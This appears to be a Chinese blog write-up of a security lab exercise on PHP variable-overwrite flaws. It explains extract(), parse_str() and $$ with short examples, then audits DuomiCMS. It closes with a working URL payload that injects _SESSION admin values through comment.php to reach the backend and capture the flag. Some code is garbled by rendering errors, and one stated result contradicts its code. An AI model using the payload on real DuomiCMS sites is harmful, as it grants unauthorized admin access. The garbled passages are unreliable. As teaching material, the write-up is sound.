变量覆盖 --- zkaq

1.概念

1.变量覆盖:变量覆盖指的是可以用我们的传参值替换程序原有的变量值

2.常见的变量覆盖的危险函数

  • extract()函数:将数组中变成变量

    举例:<?php

    $a = “1”;

    $my_array = array(“a” => “Cat”,“b” => “Dog”, “c” => “Horse”);

    extract($my_array);

    echo “$a = $a; $b = $b; $c = $c”;

    ?>

    运行结果:$a = Cat; $b = Dog; $c = Horse

  • parse_str()函数:将字符串变成变量

    举例:<?php

    parse_str(“name=zkaq&&age=60”); // test=123&gift=123

    echo $name.“
    ”;

    echo $age;

    ?>

    运行结果:输出了zkaq和60

  • $ $ 函数:$ $ a存储变量,用来存储$a的值。

    举例:<?php

    $a=‘abc’;

    $ $a=123;

    echo $abc;

    ?>

    运行结果:123

    $a=abc;

    $ $a可以理解为先解析后边这个 $ a,然后在进行解析,最终解析成为 $ abc,所以最终结果为789

2.靶场

1.进入靶场,发现为Duomicms,下载Duomicms进行代码审计,搜索危险函数$$

分析代码:如果要让代码走到$$的地方,那么需要不执行上面的exit,让if满足条件的有三个场景:

1.传参不为空

2.键名有cfg_或者GLOBALS

3.COOKIES传参中没有键名

分析代码:

foreach(Array(‘_GET’,‘_POST’,‘_COOKIE’) as KaTeX parse error: Expected '}', got 'EOF' at end of input: …st) { foreach($_request as $_k => $_v) KaTeX parse error: Expected '}', got 'EOF' at end of input: {_k} = _RunMagicQuotes($_v);
}

foreach(Array(‘_GET’,‘_POST’,‘_COOKIE’) as r e q u e s t ) : 接 受 G E T 提 交 、 P O S T 提 交 、 C O O K I E 参 数 , 将 这 个 接 受 来 的 参 数 依 次 放 入 _request):接受GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入 request):GETPOSTCOOKIE_request

foreach($$_request as $_k => $_v) KaTeX parse error: Expected '}', got 'EOF' at end of input: {_k} = _RunMagicQuotes($_v): $_k => $_v键值分离,RunMagicQuotes魔术引号

2.在登录代码中查找session的处理

添加代码,打印session

登录cms,拿到cookie: array(5) { [“duomi_ckstr”]=> string(4) “dekt” [“duomi_ckstr_last”]=> string(0) “” [“duomi_admin_id”]=> string(1) “1” [“duomi_group_id”]=> string(1) “1” [“duomi_admin_name”]=> string(5) “admin” }

如果我们自己想加session,需要session_start()打开,代码查找

输入payload:http://192.168.204.1/Duomicms/upload/interface/comment.php?_SEESION[duomi_ckstr]=splb&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin,进入后台

靶场输入相同的payload,拿到flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值